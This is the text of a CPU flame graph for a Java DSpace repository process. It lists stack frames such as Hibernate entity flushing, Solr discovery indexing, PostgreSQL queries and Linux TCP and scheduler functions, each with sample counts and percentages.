+ + +do_futex (50 samples, 3.97%) +do_f.. + + +org/dspace/storage/bitstore/BitstreamStorageServiceImpl:::retrieve (1 samples, 0.08%) + + + +org/apache/http/impl/conn/ManagedClientConnectionImpl:::sendRequestEntity (10 samples, 0.79%) + + + +sun/reflect/DelegatingMethodAccessorImpl:::invoke (1 samples, 0.08%) + + + +org/hibernate/internal/SessionImpl:::createCriteria (1 samples, 0.08%) + + + +org/apache/log4j/helpers/QuietWriter:::write (1 samples, 0.08%) + + + +JVM_FillInStackTrace (1 samples, 0.08%) + + + +finish_task_switch (18 samples, 1.43%) + + + +com/sun/proxy/$Proxy40:::createCriteria (1 samples, 0.08%) + + + +java/lang/StringCoding:::decode (1 samples, 0.08%) + + + +org/apache/http/entity/mime/content/StringBody:::writeTo (4 samples, 0.32%) + + + +[libjvm.so] (1 samples, 0.08%) + + + +org/hibernate/event/internal/AbstractFlushingEventListener:::flushEntities (147 samples, 11.67%) +org/hibernate/eve.. + + +swapgs_restore_regs_and_return_to_usermode (12 samples, 0.95%) + + + +java/lang/Throwable:::fillInStackTrace (1 samples, 0.08%) + + + +ctx_sched_in (1 samples, 0.08%) + + + +org/hibernate/type/AbstractStandardBasicType:::isCollectionType (1 samples, 0.08%) + + + +org/apache/http/protocol/RequestContent:::process (1 samples, 0.08%) + + + +sun/reflect/GeneratedMethodAccessor16:::invoke (130 samples, 10.32%) +sun/reflect/Gen.. + + +org/hibernate/internal/SessionImpl:::evict (1 samples, 0.08%) + + + +sun/reflect/GeneratedMethodAccessor16:::invoke (368 samples, 29.21%) +sun/reflect/GeneratedMethodAccessor16:::invoke + + +org/hibernate/type/EntityType:::resolve (1 samples, 0.08%) + + + +[libjvm.so] (1 samples, 0.08%) + + + +org/dspace/content/Collection_$$_jvst437_11:::getHibernateLazyInitializer (1 samples, 0.08%) + + + +org/apache/solr/common/util/XML:::escape (5 samples, 0.40%) + + + +org/hibernate/type/AbstractStandardBasicType:::isCollectionType (4 samples, 0.32%) + + + +org/hibernate/engine/internal/EntityEntryContext:::reentrantSafeEntityEntries (4 samples, 0.32%) + + + +org/hibernate/event/internal/AbstractFlushingEventListener:::prepareEntityFlushes (12 samples, 0.95%) + + + +[libjvm.so] (1 samples, 0.08%) + + + +sun/reflect/UnsafeObjectFieldAccessorImpl:::get (1 samples, 0.08%) + + + +org/hibernate/context/internal/ThreadLocalSessionContext$TransactionProtectionWrapper:::invoke (130 samples, 10.32%) +org/hibernate/c.. + + +acpi_ev_sci_xrupt_handler (1 samples, 0.08%) + + + +irq_exit (2 samples, 0.16%) + + + +itable stub (3 samples, 0.24%) + + + +tcp_v4_do_rcv (2 samples, 0.16%) + + + +org/apache/http/protocol/HttpRequestExecutor:::execute (1 samples, 0.08%) + + + +org/hibernate/event/internal/AbstractFlushingEventListener:::prepareCollectionFlushes (4 samples, 0.32%) + + + +org/apache/http/entity/InputStreamEntity:::writeTo (1 samples, 0.08%) + + + +org/hibernate/collection/internal/AbstractPersistentCollection:::withTemporarySessionIfNeeded (1 samples, 0.08%) + + + +throwFileNotFoundException (2 samples, 0.16%) + + + +ip_finish_output2 (19 samples, 1.51%) + + + +sun/reflect/UnsafeIntegerFieldAccessorImpl:::get (1 samples, 0.08%) + + + +org/hibernate/engine/spi/CascadingAction:::requiresNoCascadeChecking (1 samples, 0.08%) + + + +org/apache/http/impl/conn/DefaultClientConnection:::receiveResponseHeader (1 samples, 0.08%) + + + +tick_sched_handle (1 samples, 0.08%) + + + +org/hibernate/loader/Loader:::loadCollection (1 samples, 0.08%) + + + +[libjvm.so] (1 samples, 0.08%) + + + +org/hibernate/type/CollectionType:::isCollectionType (1 samples, 0.08%) + + + +org/hibernate/internal/SessionImpl:::listeners (1 samples, 0.08%) + + + +java/net/SocketOutputStream:::socketWrite0 (2 samples, 0.16%) + + + +sun/reflect/GeneratedMethodAccessor17:::invoke (1 samples, 0.08%) + + + +org/hibernate/loader/Loader:::getRowFromResultSet (1 samples, 0.08%) + + + +pick_next_task_fair (1 samples, 0.08%) + + + +intel_tfa_pmu_enable_all (16 samples, 1.27%) + + + +org/hibernate/type/AbstractType:::isCollectionType (2 samples, 0.16%) + + + +org/dspace/discovery/FullTextContentStreams$FullTextEnumeration:::nextElement (1 samples, 0.08%) + + + +org/hibernate/internal/SessionImpl:::evict (1 samples, 0.08%) + + + +pollwake (1 samples, 0.08%) + + + +org/postgresql/jdbc/PgStatement:::executeInternal (1 samples, 0.08%) + + + +iptable_raw_hook (1 samples, 0.08%) + + + +[libjvm.so] (26 samples, 2.06%) +[.. + + +java/util/regex/Pattern$GroupTail:::match (1 samples, 0.08%) + + + +org/apache/http/impl/client/AbstractHttpClient:::doExecute (9 samples, 0.71%) + + + +org/hibernate/engine/internal/TwoPhaseLoad:::doInitializeEntity (1 samples, 0.08%) + + + +org/hibernate/loader/Loader:::doQueryAndInitializeNonLazyCollections (1 samples, 0.08%) + + + +org/hibernate/criterion/SimpleExpression:::toSqlString (1 samples, 0.08%) + + + +ipv4_conntrack_local (2 samples, 0.16%) + + + +org/hibernate/engine/spi/TypedValue:::hashCode (1 samples, 0.08%) + + + +pick_next_task_fair (1 samples, 0.08%) + + + +sk_filter_trim_cap (1 samples, 0.08%) + + + +org/dspace/servicemanager/config/DSpaceConfigurationService:::getPropertyAsType (3 samples, 0.24%) + + + +call_stub (1 samples, 0.08%) + + + +__wake_up_common_lock (1 samples, 0.08%) + + + +org/springframework/beans/factory/support/AbstractBeanFactory:::doGetBean (1 samples, 0.08%) + + + +java/util/HashSet:::add (1 samples, 0.08%) + + + +jshort_disjoint_arraycopy (1 samples, 0.08%) + + + +sun/reflect/UnsafeObjectFieldAccessorImpl:::get (10 samples, 0.79%) + + + +do_syscall_64 (35 samples, 2.78%) +do.. + + +org/hibernate/collection/internal/PersistentList:::readFrom (1 samples, 0.08%) + + + +org/apache/http/impl/client/DefaultRequestDirector:::execute (12 samples, 0.95%) + + + +org/hibernate/collection/internal/PersistentList:::toArray (1 samples, 0.08%) + + + +[libjvm.so] (1 samples, 0.08%) + + + +[libjvm.so] (1,118 samples, 88.73%) +[libjvm.so] + + +java/util/HashMap:::resize (3 samples, 0.24%) + + + +intel_tfa_pmu_enable_all (48 samples, 3.81%) +inte.. + + +org/hibernate/type/AbstractStandardBasicType:::hydrate (1 samples, 0.08%) + + + +visit_groups_merge (1 samples, 0.08%) + + + +do_softirq.part.0 (17 samples, 1.35%) + + + +org/hibernate/event/internal/WrapVisitor:::processValue (3 samples, 0.24%) + + + +[libjvm.so] (1 samples, 0.08%) + + + +put_prev_entity (1 samples, 0.08%) + + + +ctx_sched_in (1 samples, 0.08%) + + + +java/lang/String:::hashCode (1 samples, 0.08%) + + + +org/hibernate/event/internal/AbstractFlushingEventListener:::flushEverythingToExecutions (130 samples, 10.32%) +org/hibernate/e.. + + +java/lang/Throwable:::fillInStackTrace (1 samples, 0.08%) + + + +[libjvm.so] (1 samples, 0.08%) + + + +org/hibernate/internal/SessionImpl:::evict (1 samples, 0.08%) + + + +[libjvm.so] (1 samples, 0.08%) + + + +vtable stub (1 samples, 0.08%) + + + +org/dspace/text/filter/LowerCaseAndTrim:::filter (1 samples, 0.08%) + + + +org/postgresql/core/v3/QueryExecutorImpl:::sendOneQuery (1 samples, 0.08%) + + + +__cgroup_bpf_run_filter_skb (1 samples, 0.08%) + + + +org/hibernate/engine/internal/StatefulPersistenceContext:::getCollectionEntry (1 samples, 0.08%) + + + +org/hibernate/engine/internal/Cascade:::cascade (79 samples, 6.27%) +org/hibe.. + + +ret_from_intr (1 samples, 0.08%) + + + +__sched_text_start (12 samples, 0.95%) + + + +nf_conntrack_in (1 samples, 0.08%) + + + +org/apache/http/impl/io/SocketInputBuffer:::isDataAvailable (1 samples, 0.08%) + + + +org/apache/http/impl/AbstractHttpClientConnection:::sendRequestEntity (1 samples, 0.08%) + + + +org/hibernate/event/internal/DefaultFlushEntityEventListener:::onFlushEntity (125 samples, 9.92%) +org/hibernate/.. + + +org/dspace/app/util/DailyFileAppender:::subAppend (1 samples, 0.08%) + + + +pthread_mutex_lock (1 samples, 0.08%) + + + +[libjli.so] (1,118 samples, 88.73%) +[libjli.so] + + +org/hibernate/collection/internal/PersistentBag:::isEmpty (1 samples, 0.08%) + + + +org/apache/log4j/helpers/AppenderAttachableImpl:::appendLoopOnAppenders (1 samples, 0.08%) + + + +sun/reflect/UnsafeObjectFieldAccessorImpl:::get (1 samples, 0.08%) + + + +timekeeping_advance (1 samples, 0.08%) + + + +org/hibernate/loader/criteria/CriteriaJoinWalker:::<init> (6 samples, 0.48%) + + + +org/hibernate/event/internal/WrapVisitor:::processValue (4 samples, 0.32%) + + + +java (1,260 samples, 100.00%) +java + + +org/dspace/content/Bundle:::getBitstreams (2 samples, 0.16%) + + + +org/hibernate/collection/internal/AbstractPersistentCollection:::hasQueuedOperations (1 samples, 0.08%) + + + +org/hibernate/type/descriptor/java/AbstractTypeDescriptor:::areEqual (1 samples, 0.08%) + + + +org/apache/commons/configuration/CombinedConfiguration:::fetchNodeList (2 samples, 0.16%) + + + +org/apache/commons/configuration/tree/DefaultExpressionEngine:::processSubNodes (1 samples, 0.08%) + + + +intel_tfa_pmu_enable_all (12 samples, 0.95%) + + + +org/hibernate/engine/internal/StatefulPersistenceContext:::removeEntity (1 samples, 0.08%) + + + +org/apache/solr/client/solrj/impl/HttpSolrServer:::executeMethod (12 samples, 0.95%) + + + +org/hibernate/loader/Loader:::getRow (3 samples, 0.24%) + + + +org/hibernate/loader/Loader:::extractKeysFromResultSet (2 samples, 0.16%) + + + +vtable stub (1 samples, 0.08%) + + + +Java_java_net_SocketInputStream_socketRead0 (1 samples, 0.08%) + + + +org/hibernate/persister/collection/AbstractCollectionPersister:::getElementPersister (1 samples, 0.08%) + + + +org/hibernate/event/internal/FlushVisitor:::processCollection (56 samples, 4.44%) +org/h.. + + +tick_sched_do_timer (1 samples, 0.08%) + + + +org/dspace/sort/OrderFormat:::makeSortString (1 samples, 0.08%) + + + +java/lang/StringCoding:::encode (1 samples, 0.08%) + + + +java/lang/Throwable:::fillInStackTrace (1 samples, 0.08%) + + + +org/hibernate/type/descriptor/sql/BasicExtractor:::extract (2 samples, 0.16%) + + + +JNU_NewStringPlatform (1 samples, 0.08%) + + + +java/util/HashMap:::resize (1 samples, 0.08%) + + + +java/net/SocketInputStream:::read (1 samples, 0.08%) + + + +org/dspace/storage/bitstore/DSBitStoreService:::get (1 samples, 0.08%) + + + +org/hibernate/collection/internal/AbstractPersistentCollection:::setOwner (1 samples, 0.08%) + + + +org/apache/http/impl/client/DefaultRequestDirector:::handleResponse (1 samples, 0.08%) + + + +sun/reflect/DelegatingMethodAccessorImpl:::invoke (2 samples, 0.16%) + + + +org/hibernate/collection/internal/AbstractPersistentCollection:::withTemporarySessionIfNeeded (1 samples, 0.08%) + + + +org/hibernate/loader/OuterJoinLoader:::getCollectionPersisters (1 samples, 0.08%) + + + +org/hibernate/internal/util/collections/IdentityMap:::entryArray (5 samples, 0.40%) + + + +sun/nio/cs/UTF_8$Encoder:::encode (1 samples, 0.08%) + + + +org/apache/commons/configuration/CombinedConfiguration:::fetchNodeList (1 samples, 0.08%) + + + +org/springframework/beans/factory/support/AbstractAutowireCapableBeanFactory:::doCreateBean (3 samples, 0.24%) + + + +org/apache/http/impl/client/EntityEnclosingRequestWrapper$EntityWrapper:::writeTo (1 samples, 0.08%) + + + +org/hibernate/collection/internal/PersistentList:::toArray (1 samples, 0.08%) + + + +org/hibernate/type/AbstractStandardBasicType:::isDirty (1 samples, 0.08%) + + + +org/hibernate/criterion/LogicalExpression:::toSqlString (1 samples, 0.08%) + + + +prepare_exit_to_usermode (1 samples, 0.08%) + + + +JVM_IHashCode (6 samples, 0.48%) + + + +java/io/ByteArrayInputStream:::read (1 samples, 0.08%) + + + +org/dspace/discovery/SolrServiceResourceRestrictionPlugin:::additionalIndex (283 samples, 22.46%) +org/dspace/discovery/SolrServiceRes.. + + +sun/reflect/UnsafeObjectFieldAccessorImpl:::get (1 samples, 0.08%) + + + +find_busiest_group (1 samples, 0.08%) + + + +org/hibernate/context/internal/ThreadLocalSessionContext$TransactionProtectionWrapper:::invoke (1 samples, 0.08%) + + + +org/apache/solr/common/util/ContentStreamBase$StringStream:::getStream (1 samples, 0.08%) + + + +hrtimer_interrupt (1 samples, 0.08%) + + + +call_stub (1 samples, 0.08%) + + + +org/postgresql/jdbc/PgStatement:::executeInternal (1 samples, 0.08%) + + + +java/net/SocketInputStream:::socketRead0 (2 samples, 0.16%) + + + +org/apache/http/entity/mime/content/StringBody:::writeTo (1 samples, 0.08%) + + + +org/apache/commons/configuration/MapConfiguration$1:::entrySet (2 samples, 0.16%) + + + +__handle_irq_event_percpu (1 samples, 0.08%) + + + +org/hibernate/internal/SessionFactoryImpl:::getCollectionPersister (1 samples, 0.08%) + + + +[libjvm.so] (1,118 samples, 88.73%) +[libjvm.so] + + +ip_finish_output (19 samples, 1.51%) + + + +org/apache/http/impl/conn/DefaultClientConnection:::sendRequestHeader (1 samples, 0.08%) + + + +org/apache/http/protocol/HttpRequestExecutor:::execute (3 samples, 0.24%) + + + +java/lang/StringBuilder:::append (1 samples, 0.08%) + + + +org/hibernate/loader/Loader:::doQueryAndInitializeNonLazyCollections (10 samples, 0.79%) + + + +__cgroup_account_cputime (1 samples, 0.08%) + + + +org/hibernate/persister/entity/AbstractEntityPersister:::getEntityName (1 samples, 0.08%) + + + +org/hibernate/collection/internal/PersistentBag:::iterator (1 samples, 0.08%) + + + +sun/reflect/UnsafeObjectFieldAccessorImpl:::get (4 samples, 0.32%) + + + +org/apache/http/impl/entity/EntitySerializer:::serialize (1 samples, 0.08%) + + + +java/util/ArrayList:::toArray (1 samples, 0.08%) + + + +org/hibernate/type/CollectionType:::isCollectionType (3 samples, 0.24%) + + + +ctx_sched_in (1 samples, 0.08%) + + + +org/hibernate/type/AbstractType:::isCollectionType (2 samples, 0.16%) + + + +org/hibernate/type/descriptor/java/AbstractTypeDescriptor:::areEqual (1 samples, 0.08%) + + + +jbyte_disjoint_arraycopy (1 samples, 0.08%) + + + +org/apache/http/entity/mime/FormBodyPart:::generateContentType (1 samples, 0.08%) + + + +java/lang/Object:::hashCode (1 samples, 0.08%) + + + +org/hibernate/engine/internal/StatefulPersistenceContext:::getCollectionEntry (1 samples, 0.08%) + + + +sun/reflect/GeneratedMethodAccessor16:::invoke (207 samples, 16.43%) +sun/reflect/GeneratedMeth.. + + +org/hibernate/collection/internal/AbstractPersistentCollection:::setOwner (1 samples, 0.08%) + + + +org/dspace/discovery/FullTextContentStreams:::getStream (5 samples, 0.40%) + + + +load_balance (1 samples, 0.08%) + + + +org/hibernate/engine/internal/TwoPhaseLoad:::doInitializeEntity (1 samples, 0.08%) + + + +org/apache/commons/configuration/CombinedConfiguration:::fetchNodeList (1 samples, 0.08%) + + + +[libjvm.so] (1 samples, 0.08%) + + + +sun/reflect/UnsafeObjectFieldAccessorImpl:::get (2 samples, 0.16%) + + + +org/dspace/content/Collection:::getName (1 samples, 0.08%) + + + +org/dspace/eperson/Group_$$_jvst437_1e:::getHibernateLazyInitializer (3 samples, 0.24%) + + + +org/postgresql/core/v3/QueryExecutorImpl:::processResults (3 samples, 0.24%) + + + +[libjvm.so] (1 samples, 0.08%) + + + +org/hibernate/collection/internal/AbstractPersistentCollection:::isDirty (2 samples, 0.16%) + + + +org/hibernate/event/internal/AbstractFlushingEventListener:::prepareEntityFlushes (43 samples, 3.41%) +org.. + + +org/hibernate/engine/jdbc/internal/JdbcCoordinatorImpl:::release (1 samples, 0.08%) + + + +tcp_push (27 samples, 2.14%) +t.. + + +dev_hard_start_xmit (1 samples, 0.08%) + + + +tcp_newly_delivered (1 samples, 0.08%) + + + +jbyte_disjoint_arraycopy (1 samples, 0.08%) + + + +org/apache/commons/configuration/MapConfiguration:::getProperty (2 samples, 0.16%) + + + +org/apache/http/entity/mime/MultipartEntity:::getContentType (1 samples, 0.08%) + + + +itable stub (14 samples, 1.11%) + + + +org/hibernate/type/AbstractStandardBasicType:::isCollectionType (2 samples, 0.16%) + + + +queued_spin_lock_slowpath (1 samples, 0.08%) + + + +org/hibernate/event/internal/DefaultLoadEventListener:::loadFromDatasource (3 samples, 0.24%) + + + +org/apache/http/entity/mime/FormBodyPart:::<init> (2 samples, 0.16%) + + + +[libjava.so] (2 samples, 0.16%) + + + +[libjvm.so] (1 samples, 0.08%) + + + +org/apache/commons/configuration/MapConfiguration$1:::entrySet (16 samples, 1.27%) + + + +ip_rcv_finish (5 samples, 0.40%) + + + +Interpreter (1,118 samples, 88.73%) +Interpreter + + +Interpreter (1,118 samples, 88.73%) +Interpreter + + +org/apache/http/impl/AbstractHttpClientConnection:::receiveResponseHeader (1 samples, 0.08%) + + + +itable stub (13 samples, 1.03%) + + + +org/dspace/eperson/Group_$$_jvst437_1e:::getHibernateLazyInitializer (1 samples, 0.08%) + + + +update_process_times (1 samples, 0.08%) + + + +handle_irq_event_percpu (1 samples, 0.08%) + + + +java/util/AbstractMap:::get (1 samples, 0.08%) + + + +java/util/regex/Pattern:::compile (1 samples, 0.08%) + + + +itable stub (1 samples, 0.08%) + + + +org/hibernate/internal/SessionImpl:::checkNoUnresolvedActionsAfterOperation (1 samples, 0.08%) + + + +smp_apic_timer_interrupt (1 samples, 0.08%) + + + +update_blocked_averages (1 samples, 0.08%) + + + +org/apache/log4j/Category:::callAppenders (1 samples, 0.08%) + + + +dev_queue_xmit (1 samples, 0.08%) + + + +org/hibernate/loader/Loader:::prepareQueryStatement (1 samples, 0.08%) + + + +[libjvm.so] (1 samples, 0.08%) + + + +org/dspace/content/DSpaceObjectServiceImpl:::getMetadata (1 samples, 0.08%) + + + +org/dspace/discovery/SolrServiceContentInOriginalBundleFilterPlugin:::additionalIndex (4 samples, 0.32%) + + + +org/apache/commons/configuration/tree/DefaultExpressionEngine:::findNodesForKey (1 samples, 0.08%) + + + +org/hibernate/loader/criteria/CriteriaQueryTranslator:::getWhereCondition (1 samples, 0.08%) + + + +org/hibernate/loader/Loader:::initializeEntitiesAndCollections (1 samples, 0.08%) + + + +hrtimer_interrupt (1 samples, 0.08%) + + + +org/apache/http/entity/mime/FormBodyPart:::generateContentDisp (1 samples, 0.08%) + + + +__intel_pmu_enable_all.constprop.0 (48 samples, 3.81%) +__in.. + + +_new_array_Java (1 samples, 0.08%) + + + +Java_java_net_SocketOutputStream_socketWrite0 (1 samples, 0.08%) + + + +org/dspace/core/HibernateDBConnection:::uncacheEntity (207 samples, 16.43%) +org/dspace/core/Hibernate.. + + +org/hibernate/proxy/pojo/javassist/JavassistLazyInitializer:::invoke (2 samples, 0.16%) + + + +jlong_disjoint_arraycopy (1 samples, 0.08%) + + + +__perf_event_task_sched_in (17 samples, 1.35%) + + + +org/hibernate/collection/internal/AbstractPersistentCollection:::isDirty (3 samples, 0.24%) + + + +org/hibernate/engine/spi/CascadingAction:::requiresNoCascadeChecking (1 samples, 0.08%) + + + +org/hibernate/engine/internal/EntityEntryContext:::reentrantSafeEntityEntries (5 samples, 0.40%) + + + +entry_SYSCALL_64_after_hwframe (50 samples, 3.97%) +entr.. + + +__lll_lock_wait (4 samples, 0.32%) + + + +org/hibernate/collection/internal/AbstractPersistentCollection:::getQueuedOrphans (1 samples, 0.08%) + + + +org/apache/solr/client/solrj/impl/HttpSolrServer:::executeMethod (7 samples, 0.56%) + + + +__intel_pmu_enable_all.constprop.0 (4 samples, 0.32%) + + + +sun/reflect/UnsafeIntegerFieldAccessorImpl:::get (1 samples, 0.08%) + + + +jlong_disjoint_arraycopy (1 samples, 0.08%) + + + +org/apache/log4j/Category:::callAppenders (2 samples, 0.16%) + + + +java/net/SocketOutputStream:::socketWrite0 (1 samples, 0.08%) + + + +all (1,260 samples, 100%) + + + +java/util/HashSet:::add (1 samples, 0.08%) + + + +java/io/FileInputStream:::open0 (2 samples, 0.16%) + + + +__x64_sys_futex (50 samples, 3.97%) +__x6.. + + +org/apache/commons/configuration/MapConfiguration:::getProperty (18 samples, 1.43%) + + + +JVM_FillInStackTrace (1 samples, 0.08%) + + + +org/apache/log4j/Category:::error (2 samples, 0.16%) + + + +org/apache/commons/configuration/tree/DefaultExpressionEngine:::processSubNodes (1 samples, 0.08%) + + + +finish_task_switch (12 samples, 0.95%) + + + +JVM_InternString (1 samples, 0.08%) + + + +__perf_event_task_sched_in (49 samples, 3.89%) +__pe.. + + +org/hibernate/loader/Loader:::doQueryAndInitializeNonLazyCollections (1 samples, 0.08%) + + + +org/hibernate/event/internal/AbstractFlushingEventListener:::prepareEntityFlushes (37 samples, 2.94%) +or.. + + +org/hibernate/type/CollectionType:::isCollectionType (3 samples, 0.24%) + + + +org/dspace/content/DSpaceObjectServiceImpl:::getMetadata (1 samples, 0.08%) + + + +org/apache/http/protocol/ImmutableHttpProcessor:::process (2 samples, 0.16%) + + + +org/hibernate/internal/util/StringHelper:::replace (1 samples, 0.08%) + + + +__tcp_transmit_skb (24 samples, 1.90%) +_.. + + +tick_do_update_jiffies64.part.0 (1 samples, 0.08%) + + + +org/dspace/content/DSpaceObjectServiceImpl:::getMetadata (1 samples, 0.08%) + + + +org/dspace/content/DSpaceObjectServiceImpl:::getMetadata (11 samples, 0.87%) + + + +interrupt_entry (1 samples, 0.08%) + + + +[libjvm.so] (1 samples, 0.08%) + + + +org/hibernate/collection/internal/PersistentSet:::toArray (1 samples, 0.08%) + + + +[libjvm.so] (1 samples, 0.08%) + + + +org/hibernate/type/CollectionType:::hasHolder (1 samples, 0.08%) + + + +org/apache/commons/dbcp2/DelegatingPreparedStatement:::executeQuery (1 samples, 0.08%) + + + +org/apache/commons/configuration/CombinedConfiguration:::fetchNodeList (1 samples, 0.08%) + + + +org/apache/http/entity/mime/MultipartEntityBuilder:::buildEntity (1 samples, 0.08%) + + + +org/hibernate/event/internal/DefaultFlushEntityEventListener:::onFlushEntity (84 samples, 6.67%) +org/hiber.. + + +sun/reflect/UnsafeObjectFieldAccessorImpl:::get (7 samples, 0.56%) + + + +org/hibernate/type/ManyToOneType:::isDirty (1 samples, 0.08%) + + + +org/hibernate/loader/Loader:::doQueryAndInitializeNonLazyCollections (1 samples, 0.08%) + + + +jshort_disjoint_arraycopy (1 samples, 0.08%) + + + +org/hibernate/event/internal/DefaultLoadEventListener:::onLoad (3 samples, 0.24%) + + + +group_sched_in (1 samples, 0.08%) + + + +org/dspace/discovery/SolrServiceImpl:::requiresIndexing (9 samples, 0.71%) + + + +org/hibernate/type/EntityType:::isEntityType (1 samples, 0.08%) + + + +org/hibernate/loader/Loader:::initializeEntitiesAndCollections (1 samples, 0.08%) + + + +org/apache/log4j/Category:::warn (1 samples, 0.08%) + + + +org/apache/http/protocol/RequestContent:::process (1 samples, 0.08%) + + + +org/apache/http/impl/AbstractHttpClientConnection:::sendRequestEntity (1 samples, 0.08%) + + + +org/apache/solr/client/solrj/impl/HttpSolrServer:::createMethod (1 samples, 0.08%) + + + +[libjvm.so] (1 samples, 0.08%) + + + +org/hibernate/loader/Loader:::doQueryAndInitializeNonLazyCollections (1 samples, 0.08%) + + + +__intel_pmu_enable_all.constprop.0 (12 samples, 0.95%) + + + +org/hibernate/type/CollectionType:::resolve (1 samples, 0.08%) + + + +__entry_text_start (1 samples, 0.08%) + + + +org/hibernate/loader/Loader:::loadCollection (1 samples, 0.08%) + + + +org/hibernate/loader/Loader:::initializeEntitiesAndCollections (1 samples, 0.08%) + + + +[libjvm.so] (3 samples, 0.24%) + + + +intel_tfa_pmu_enable_all (4 samples, 0.32%) + + + +org/hibernate/type/CollectionType:::isDirty (3 samples, 0.24%) + + + +java/util/LinkedList:::addAll (1 samples, 0.08%) + + + +org/apache/solr/client/solrj/request/AbstractUpdateRequest:::process (16 samples, 1.27%) + + + +java/util/LinkedList:::addAll (1 samples, 0.08%) + + + +__tcp_push_pending_frames (26 samples, 2.06%) +_.. + + +exit_to_usermode_loop (1 samples, 0.08%) + + + +org/dspace/eperson/Group_$$_jvst437_1e:::getHibernateLazyInitializer (2 samples, 0.16%) + + + +JVM_IHashCode (1 samples, 0.08%) + + + +org/apache/commons/dbcp2/DelegatingPreparedStatement:::executeQuery (3 samples, 0.24%) + + + +java/net/SocketInputStream:::read (2 samples, 0.16%) + + + +visit_groups_merge (1 samples, 0.08%) + + + +org/apache/solr/client/solrj/request/RequestWriter$LazyContentStream:::getDelegate (6 samples, 0.48%) + + + +java/lang/String:::intern (1 samples, 0.08%) + + + +default_wake_function (1 samples, 0.08%) + + + +org/hibernate/engine/internal/StatefulPersistenceContext:::proxyFor (1 samples, 0.08%) + + + +org/hibernate/engine/internal/StatefulPersistenceContext:::getCollectionEntry (2 samples, 0.16%) + + + +activate_task (1 samples, 0.08%) + + + +org/apache/commons/dbcp2/DelegatingPreparedStatement:::executeQuery (1 samples, 0.08%) + + + +security_socket_sendmsg (1 samples, 0.08%) + + + +Interpreter (1,118 samples, 88.73%) +Interpreter + + +apic_timer_interrupt (1 samples, 0.08%) + + + +org/hibernate/event/internal/DefaultSaveOrUpdateEventListener:::onSaveOrUpdate (2 samples, 0.16%) + + + +itable stub (16 samples, 1.27%) + + + +org/hibernate/type/EntityType:::loadByUniqueKey (1 samples, 0.08%) + + + +schedule (4 samples, 0.32%) + + + +org/apache/commons/dbcp2/DelegatingPreparedStatement:::executeQuery (1 samples, 0.08%) + + + +org/hibernate/engine/internal/TwoPhaseLoad:::doInitializeEntity (1 samples, 0.08%) + + + +org/hibernate/event/internal/DefaultSaveOrUpdateEventListener:::onSaveOrUpdate (2 samples, 0.16%) + + + +org/dspace/authorize/dao/impl/ResourcePolicyDAOImpl:::findByDSoAndAction (152 samples, 12.06%) +org/dspace/authori.. + + +java/io/ByteArrayInputStream:::read (1 samples, 0.08%) + + + +entry_SYSCALL_64_after_hwframe (24 samples, 1.90%) +e.. + + +__x64_sys_sendto (33 samples, 2.62%) +__.. + + +__intel_pmu_enable_all.constprop.0 (16 samples, 1.27%) + + + +org/hibernate/engine/spi/CascadingAction$4:::cascade (1 samples, 0.08%) + + + +org/apache/commons/configuration/HierarchicalConfiguration:::getProperty (2 samples, 0.16%) + + + +[libjvm.so] (1,118 samples, 88.73%) +[libjvm.so] + + +java/lang/Throwable:::fillInStackTrace (1 samples, 0.08%) + + + +org/apache/http/impl/client/AbstractHttpClient:::doExecute (12 samples, 0.95%) + + + +java/util/HashSet:::add (1 samples, 0.08%) + + + +org/hibernate/type/AbstractStandardBasicType:::isEntityType (1 samples, 0.08%) + + + +org/apache/commons/configuration/MapConfiguration$1:::entrySet (1 samples, 0.08%) + + + +org/hibernate/persister/collection/AbstractCollectionPersister:::getElementType (2 samples, 0.16%) + + + +tcp_sendmsg_locked (30 samples, 2.38%) +t.. + + +org/apache/http/entity/mime/Header:::addField (1 samples, 0.08%) + + + +org/apache/commons/configuration/tree/DefaultExpressionEngine:::processSubNodes (1 samples, 0.08%) + + + +org/hibernate/loader/Loader:::initializeEntitiesAndCollections (1 samples, 0.08%) + + + +jint_disjoint_arraycopy (1 samples, 0.08%) + + + +org/apache/http/message/BasicLineParser:::parseStatusLine (1 samples, 0.08%) + + + +org/postgresql/core/v3/QueryExecutorImpl:::processResults (1 samples, 0.08%) + + + +org/dspace/eperson/Group_$$_jvst437_1e:::getHibernateLazyInitializer (5 samples, 0.40%) + + + +sun/reflect/DelegatingMethodAccessorImpl:::invoke (1,118 samples, 88.73%) +sun/reflect/DelegatingMethodAccessorImpl:::invoke + + +__softirqentry_text_start (1 samples, 0.08%) + + + +smp_apic_timer_interrupt (1 samples, 0.08%) + + + +[libjvm.so] (1 samples, 0.08%) + + + +org/hibernate/event/internal/AbstractFlushingEventListener:::prepareEntityFlushes (36 samples, 2.86%) +or.. + + +org/hibernate/loader/Loader:::doQueryAndInitializeNonLazyCollections (1 samples, 0.08%) + + + +org/dspace/storage/bitstore/BitstreamStorageServiceImpl:::retrieve (4 samples, 0.32%) + + + +nf_hook_slow (3 samples, 0.24%) + + + +Java_java_lang_Throwable_fillInStackTrace (1 samples, 0.08%) + + + +[libjvm.so] (1 samples, 0.08%) + + + +org/hibernate/collection/internal/AbstractPersistentCollection:::withTemporarySessionIfNeeded (1 samples, 0.08%) + + + +sk_wait_data (21 samples, 1.67%) + + + +org/apache/commons/configuration/HierarchicalConfiguration:::getProperty (24 samples, 1.90%) +o.. + + +Interpreter (1,118 samples, 88.73%) +Interpreter + + +perf_pmu_nop_int (1 samples, 0.08%) + + + +org/apache/http/impl/client/DefaultUserTokenHandler:::getUserToken (1 samples, 0.08%) + + + +org/apache/http/client/utils/URLEncodedUtils:::urlDecode (1 samples, 0.08%) + + + +Java_java_lang_Throwable_fillInStackTrace (1 samples, 0.08%) + + + +org/hibernate/loader/DefaultEntityAliases:::<init> (2 samples, 0.16%) + + + +org/dspace/servicemanager/spring/SpringServiceManager:::getServicesByType (4 samples, 0.32%) + + + +org/dspace/content/Item_$$_jvst437_4:::getHandle (4 samples, 0.32%) + + + +org/hibernate/event/internal/AbstractFlushingEventListener:::flushCollections (1 samples, 0.08%) + + + +flexible_sched_in (1 samples, 0.08%) + + + +perf_pmu_enable.part.0 (4 samples, 0.32%) + + + +org/hibernate/event/internal/FlushVisitor:::processCollection (31 samples, 2.46%) +or.. + + +org/dspace/discovery/configuration/DiscoverySearchFilter:::getFilterType (2 samples, 0.16%) + + + +org/hibernate/engine/jdbc/internal/ResultSetReturnImpl:::extract (1 samples, 0.08%) + + + +java/util/HashMap:::resize (5 samples, 0.40%) + + + +org/apache/http/entity/mime/AbstractMultipartForm:::doWriteTo (10 samples, 0.79%) + + + +x86_pmu_enable (48 samples, 3.81%) +x86_.. + + +pick_next_task_fair (1 samples, 0.08%) + + + 